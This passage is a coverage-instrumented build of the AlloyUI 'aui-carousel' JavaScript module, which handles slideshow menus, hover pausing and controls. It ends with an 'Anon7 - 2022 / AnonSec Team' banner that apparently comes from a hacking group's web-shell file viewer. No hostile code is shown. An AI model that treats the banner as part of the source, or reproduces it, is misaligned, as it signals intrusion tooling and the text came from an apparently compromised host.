* mouse leave.","         *","         * @attribute pauseOnHover","         * @type Boolean","         */","        pauseOnHover: {","            value: false,","            validator: Lang.isBoolean","        }","    },","","    /**","     * Static property provides a string to identify the CSS prefix.","     *","     * @property CSS_PREFIX","     * @type String","     * @static","     */","    CSS_PREFIX: A.getClassName('carousel')","});","","","}, '3.0.1', {","    \"requires\": [","        \"anim\",","        \"node-event-delegate\",","        \"aui-image-viewer-base\",","        \"aui-image-viewer-slideshow\"","    ],","    \"skinnable\": true","});","","}());"]};
}
var __cov_gKdrIwv$6qimVUhb99YL3w = __coverage__['build/aui-carousel/aui-carousel.js'];
__cov_gKdrIwv$6qimVUhb99YL3w.s['1']++;YUI.add('aui-carousel',function(A,NAME){__cov_gKdrIwv$6qimVUhb99YL3w.f['1']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['2']++;var Lang=A.Lang,getCN=A.getClassName,CSS_IMAGE_VIEWER_CONTROL=getCN('image','viewer','base','control'),CSS_IMAGE_VIEWER_CONTROL_LEFT=getCN('image','viewer','base','control','left'),CSS_IMAGE_VIEWER_CONTROL_RIGHT=getCN('image','viewer','base','control','right'),CSS_ITEM=getCN('image','viewer','base','image'),CSS_ITEM_ACTIVE_TRANSITION=getCN('carousel','item','active','transition'),CSS_ITEM_TRANSITION=getCN('carousel','item','transition'),CSS_MENU=getCN('carousel','menu'),CSS_MENU_ACTIVE=getCN('carousel','menu','active'),CSS_MENU_INDEX=getCN('carousel','menu','index'),CSS_MENU_ITEM=getCN('carousel','menu','item'),CSS_MENU_NEXT=getCN('carousel','menu','next'),CSS_MENU_PLAY=getCN('carousel','menu','play'),CSS_MENU_PAUSE=getCN('carousel','menu','pause'),CSS_MENU_PREV=getCN('carousel','menu','prev'),CSS_MENU_ITEM_DEFAULT=[CSS_MENU_ITEM,CSS_MENU_INDEX].join(' '),CSS_MENU_ITEM_ACTIVE=[CSS_MENU_ITEM,CSS_MENU_INDEX,CSS_MENU_ACTIVE].join(' '),CSS_OUTSIDE_MENU=getCN('carousel','outside','menu'),NODE_MENU_INSIDE='inside',NODE_MENU_OUTSIDE='outside',SELECTOR_MENU_INDEX='.'+CSS_MENU_INDEX;__cov_gKdrIwv$6qimVUhb99YL3w.s['3']++;A.Carousel=A.Base.create('carousel',A.ImageViewerBase,[A.ImageViewerSlideshow],{TPL_ITEM:'<li><a class="'+CSS_MENU_ITEM+' '+CSS_IMAGE_VIEWER_CONTROL+' {cssClasses}">{index}</a></li>',TPL_MENU:'<div class="'+CSS_MENU+'"><menu>'+'<li><a class="'+CSS_MENU_ITEM+' '+CSS_MENU_PLAY+' '+CSS_IMAGE_VIEWER_CONTROL+'"></a></li>'+'<li><a class="'+CSS_MENU_ITEM+' '+CSS_MENU_PREV+' '+CSS_IMAGE_VIEWER_CONTROL_LEFT+' '+CSS_IMAGE_VIEWER_CONTROL+'"></a></li>'+'{items}'+'<li><a class="'+CSS_MENU_ITEM+' '+CSS_MENU_NEXT+' '+CSS_IMAGE_VIEWER_CONTROL_RIGHT+' '+CSS_IMAGE_VIEWER_CONTROL+'"></a></li>'+'</menu></div>',bindUI:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['2']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['4']++;A.Carousel.superclass.bindUI.apply(this,arguments);__cov_gKdrIwv$6qimVUhb99YL3w.s['5']++;this.after({nodeMenuChange:this._afterNodeMenuChange,nodeMenuItemSelectorChange:this._afterNodeMenuItemSelectorChange,nodeMenuPositionChange:this._afterNodeMenuPositionChange,pauseOnHoverChange:this._afterPauseOnHoverChange});__cov_gKdrIwv$6qimVUhb99YL3w.s['6']++;this._bindPauseOnHover();},syncUI:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['3']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['7']++;this._syncNodeMenuPositionUI();},destructor:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['4']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['8']++;if(this._menuClickDelegateHandler){__cov_gKdrIwv$6qimVUhb99YL3w.b['1'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['9']++;this._menuClickDelegateHandler.detach();}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['1'][1]++;}},item:function(val){__cov_gKdrIwv$6qimVUhb99YL3w.f['5']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['10']++;this.set('currentIndex',val);},_afterNodeMenuChange:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['6']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['11']++;this._bindPauseOnHover();__cov_gKdrIwv$6qimVUhb99YL3w.s['12']++;this._syncControlsUI();__cov_gKdrIwv$6qimVUhb99YL3w.s['13']++;this._syncNodeMenuPositionUI();},_afterNodeMenuItemSelectorChange:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['7']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['14']++;this._bindControls();},_afterNodeMenuPositionChange:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['8']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['15']++;this._syncNodeMenuPositionUI();},_afterPauseOnHoverChange:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['9']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['16']++;this._bindPauseOnHover();},_afterResponsive:function(event){__cov_gKdrIwv$6qimVUhb99YL3w.f['10']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['17']++;this.get('boundingBox').all('.image-viewer-base-image-list, .image-viewer-base-image').setStyles({height:event.height,width:event.width});},_bindControls:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['11']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['18']++;if(this._menuClickDelegateHandler){__cov_gKdrIwv$6qimVUhb99YL3w.b['2'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['19']++;this._menuClickDelegateHandler.detach();}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['2'][1]++;}__cov_gKdrIwv$6qimVUhb99YL3w.s['20']++;this._menuClickDelegateHandler=this.get('boundingBox').delegate('click',this._onClickControl,this.get('nodeMenuItemSelector'),this);},_bindPauseOnHover:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['12']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['21']++;var boundingBox=this.get('boundingBox'),nodeMenu=this.get('nodeMenu'),pauseOnHover=this.get('pauseOnHover');__cov_gKdrIwv$6qimVUhb99YL3w.s['22']++;if(pauseOnHover){__cov_gKdrIwv$6qimVUhb99YL3w.b['3'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['23']++;this.hoverEventHandles=[boundingBox.on('mouseenter',A.bind(this._onCarouselEnter,this)),boundingBox.on('mouseleave',A.bind(this._onCarouselLeave,this)),nodeMenu.on('mouseenter',A.bind(this._onMenuEnter,this)),nodeMenu.on('mouseleave',A.bind(this._onMenuLeave,this))];}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['3'][1]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['24']++;new A.EventHandle(this.hoverEventHandles).detach();__cov_gKdrIwv$6qimVUhb99YL3w.s['25']++;this.hoverEventHandles=null;}},_createMenuNode:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['13']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['26']++;var currentIndex=this.get('currentIndex'),items=[],i,len=this.get('sources').length,menu;__cov_gKdrIwv$6qimVUhb99YL3w.s['27']++;for(i=0;i<len;i++){__cov_gKdrIwv$6qimVUhb99YL3w.s['28']++;items.push(Lang.sub(this.TPL_ITEM,{cssClasses:currentIndex===i?(__cov_gKdrIwv$6qimVUhb99YL3w.b['4'][0]++,CSS_MENU_ITEM_ACTIVE):(__cov_gKdrIwv$6qimVUhb99YL3w.b['4'][1]++,CSS_MENU_ITEM_DEFAULT),index:i}));}__cov_gKdrIwv$6qimVUhb99YL3w.s['29']++;menu=A.Node.create(Lang.sub(this.TPL_MENU,{items:items.join(' ')}));__cov_gKdrIwv$6qimVUhb99YL3w.s['30']++;return menu;},_defAnimateFn:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['14']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['31']++;if(!this.get('playing')){__cov_gKdrIwv$6qimVUhb99YL3w.b['5'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['32']++;return;}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['5'][1]++;}__cov_gKdrIwv$6qimVUhb99YL3w.s['33']++;A.Carousel.superclass._defAnimateFn.apply(this,arguments);__cov_gKdrIwv$6qimVUhb99YL3w.s['34']++;var currentImage,previousImage;__cov_gKdrIwv$6qimVUhb99YL3w.s['35']++;if(A.Lang.isNumber(this._previousIndex)){__cov_gKdrIwv$6qimVUhb99YL3w.b['6'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['36']++;previousImage=this._getImageContainerAtIndex(this._previousIndex);__cov_gKdrIwv$6qimVUhb99YL3w.s['37']++;currentImage=this._getCurrentImageContainer(this._previousIndex);__cov_gKdrIwv$6qimVUhb99YL3w.s['38']++;previousImage.addClass(CSS_ITEM_TRANSITION);__cov_gKdrIwv$6qimVUhb99YL3w.s['39']++;currentImage.addClass(CSS_ITEM_ACTIVE_TRANSITION);__cov_gKdrIwv$6qimVUhb99YL3w.s['40']++;this._animation.onceAfter('end',function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['15']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['41']++;previousImage.removeClass(CSS_ITEM_TRANSITION);__cov_gKdrIwv$6qimVUhb99YL3w.s['42']++;currentImage.removeClass(CSS_ITEM_ACTIVE_TRANSITION);});}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['6'][1]++;}},_isMouseInsideMenu:function(event){__cov_gKdrIwv$6qimVUhb99YL3w.f['16']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['43']++;var region=this.get('nodeMenu').get('region');__cov_gKdrIwv$6qimVUhb99YL3w.s['44']++;return(__cov_gKdrIwv$6qimVUhb99YL3w.b['7'][0]++,region.left>event.clientX)||(__cov_gKdrIwv$6qimVUhb99YL3w.b['7'][1]++,event.clientX>region.right)||(__cov_gKdrIwv$6qimVUhb99YL3w.b['7'][2]++,region.top>event.clientY)||(__cov_gKdrIwv$6qimVUhb99YL3w.b['7'][3]++,event.clientY>region.bottom);},_onCarouselEnter:function(event){__cov_gKdrIwv$6qimVUhb99YL3w.f['17']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['45']++;if(this._isMouseInsideMenu(event)){__cov_gKdrIwv$6qimVUhb99YL3w.b['8'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['46']++;this._pauseOnEnter();}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['8'][1]++;}},_onCarouselLeave:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['18']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['47']++;this._playOnLeave();},_onClickControl:function(event){__cov_gKdrIwv$6qimVUhb99YL3w.f['19']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['48']++;A.Carousel.superclass._onClickControl.apply(this,arguments);__cov_gKdrIwv$6qimVUhb99YL3w.s['49']++;event.preventDefault();__cov_gKdrIwv$6qimVUhb99YL3w.s['50']++;if(event.currentTarget.hasClass(CSS_MENU_INDEX)){__cov_gKdrIwv$6qimVUhb99YL3w.b['9'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['51']++;this.set('currentIndex',this._menuNodes.indexOf(event.currentTarget));}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['9'][1]++;}},_onMenuEnter:function(event){__cov_gKdrIwv$6qimVUhb99YL3w.f['20']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['52']++;if((__cov_gKdrIwv$6qimVUhb99YL3w.b['11'][0]++,event.relatedTarget)&&(__cov_gKdrIwv$6qimVUhb99YL3w.b['11'][1]++,event.relatedTarget.hasClass(CSS_ITEM))){__cov_gKdrIwv$6qimVUhb99YL3w.b['10'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['53']++;this._playOnLeave();}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['10'][1]++;}},_onMenuLeave:function(event){__cov_gKdrIwv$6qimVUhb99YL3w.f['21']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['54']++;if((__cov_gKdrIwv$6qimVUhb99YL3w.b['13'][0]++,event.relatedTarget)&&(__cov_gKdrIwv$6qimVUhb99YL3w.b['13'][1]++,event.relatedTarget.hasClass(CSS_ITEM))){__cov_gKdrIwv$6qimVUhb99YL3w.b['12'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['55']++;this._pauseOnEnter();}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['12'][1]++;}},_pauseOnEnter:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['22']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['56']++;if(this.get('playing')){__cov_gKdrIwv$6qimVUhb99YL3w.b['14'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['57']++;this.pause();__cov_gKdrIwv$6qimVUhb99YL3w.s['58']++;this._pausedOnEnter=true;}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['14'][1]++;}},_playOnLeave:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['23']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['59']++;if(this._pausedOnEnter){__cov_gKdrIwv$6qimVUhb99YL3w.b['15'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['60']++;this.play();__cov_gKdrIwv$6qimVUhb99YL3w.s['61']++;this._pausedOnEnter=false;}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['15'][1]++;}},_renderControls:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['24']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['62']++;this.get('boundingBox').append(this.get('nodeMenu'));},_renderPlayer:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['25']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['63']++;this._player=this.get('nodeMenu').one('.'+CSS_MENU_PLAY);},_setNodeMenu:function(val){__cov_gKdrIwv$6qimVUhb99YL3w.f['26']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['64']++;var nodeMenu=(__cov_gKdrIwv$6qimVUhb99YL3w.b['16'][0]++,A.one(val))||(__cov_gKdrIwv$6qimVUhb99YL3w.b['16'][1]++,this._createMenuNode());__cov_gKdrIwv$6qimVUhb99YL3w.s['65']++;this._menuNodes=nodeMenu.all(SELECTOR_MENU_INDEX);__cov_gKdrIwv$6qimVUhb99YL3w.s['66']++;return nodeMenu;},_syncControlsUI:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['27']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['67']++;var currentIndex=this.get('currentIndex'),item=this._menuNodes.item(currentIndex);__cov_gKdrIwv$6qimVUhb99YL3w.s['68']++;if(item){__cov_gKdrIwv$6qimVUhb99YL3w.b['17'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['69']++;item.addClass(CSS_MENU_ACTIVE);}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['17'][1]++;}__cov_gKdrIwv$6qimVUhb99YL3w.s['70']++;if(A.Lang.isNumber(this._previousIndex)){__cov_gKdrIwv$6qimVUhb99YL3w.b['18'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['71']++;item=this._menuNodes.item(this._previousIndex);__cov_gKdrIwv$6qimVUhb99YL3w.s['72']++;if(item){__cov_gKdrIwv$6qimVUhb99YL3w.b['19'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['73']++;item.removeClass(CSS_MENU_ACTIVE);}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['19'][1]++;}}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['18'][1]++;}},_syncNodeMenuPositionUI:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['28']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['74']++;var nodeMenuPosition=this.get('nodeMenuPosition');__cov_gKdrIwv$6qimVUhb99YL3w.s['75']++;this.get('boundingBox').toggleClass(CSS_OUTSIDE_MENU,nodeMenuPosition===NODE_MENU_OUTSIDE);__cov_gKdrIwv$6qimVUhb99YL3w.s['76']++;if(nodeMenuPosition===NODE_MENU_OUTSIDE){__cov_gKdrIwv$6qimVUhb99YL3w.b['20'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['77']++;this.set('gutter',[0,this.get('nodeMenu').get('offsetHeight')]);}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['20'][1]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['78']++;this.set('gutter',[0,0]);}},_syncPlaying:function(){__cov_gKdrIwv$6qimVUhb99YL3w.f['29']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['79']++;if(!this._player){__cov_gKdrIwv$6qimVUhb99YL3w.b['21'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['80']++;return;}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['21'][1]++;}__cov_gKdrIwv$6qimVUhb99YL3w.s['81']++;if(this.get('playing')){__cov_gKdrIwv$6qimVUhb99YL3w.b['22'][0]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['82']++;this._player.replaceClass(CSS_MENU_PLAY,CSS_MENU_PAUSE);}else{__cov_gKdrIwv$6qimVUhb99YL3w.b['22'][1]++;__cov_gKdrIwv$6qimVUhb99YL3w.s['83']++;this._player.replaceClass(CSS_MENU_PAUSE,CSS_MENU_PLAY);}},_validateNodeMenuPosition:function(val){__cov_gKdrIwv$6qimVUhb99YL3w.f['30']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['84']++;return(__cov_gKdrIwv$6qimVUhb99YL3w.b['23'][0]++,val===NODE_MENU_INSIDE)||(__cov_gKdrIwv$6qimVUhb99YL3w.b['23'][1]++,val===NODE_MENU_OUTSIDE);}},{ATTRS:{circular:{value:true,validator:A.Lang.isBoolean},controlNext:{setter:function(val){__cov_gKdrIwv$6qimVUhb99YL3w.f['31']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['85']++;return val?(__cov_gKdrIwv$6qimVUhb99YL3w.b['24'][0]++,val):(__cov_gKdrIwv$6qimVUhb99YL3w.b['24'][1]++,this.get('nodeMenu').one('.'+CSS_MENU_NEXT));},value:null,validator:A.Lang.isNode},controlPrevious:{setter:function(val){__cov_gKdrIwv$6qimVUhb99YL3w.f['32']++;__cov_gKdrIwv$6qimVUhb99YL3w.s['86']++;return val?(__cov_gKdrIwv$6qimVUhb99YL3w.b['25'][0]++,val):(__cov_gKdrIwv$6qimVUhb99YL3w.b['25'][1]++,this.get('nodeMenu').one('.'+CSS_MENU_PREV));},value:null,validator:A.Lang.isNode},nodeMenu:{value:null,setter:'_setNodeMenu'},nodeMenuItemSelector:{value:'.'+CSS_MENU_ITEM,validator:A.Lang.isString},nodeMenuPosition:{value:NODE_MENU_INSIDE,validator:'_validateNodeMenuPosition'},pauseOnHover:{value:false,validator:Lang.isBoolean}},CSS_PREFIX:A.getClassName('carousel')});},'3.0.1',{'requires':['anim','node-event-delegate','aui-image-viewer-base','aui-image-viewer-slideshow'],'skinnable':true});

Anon7 - 2022
AnonSec Team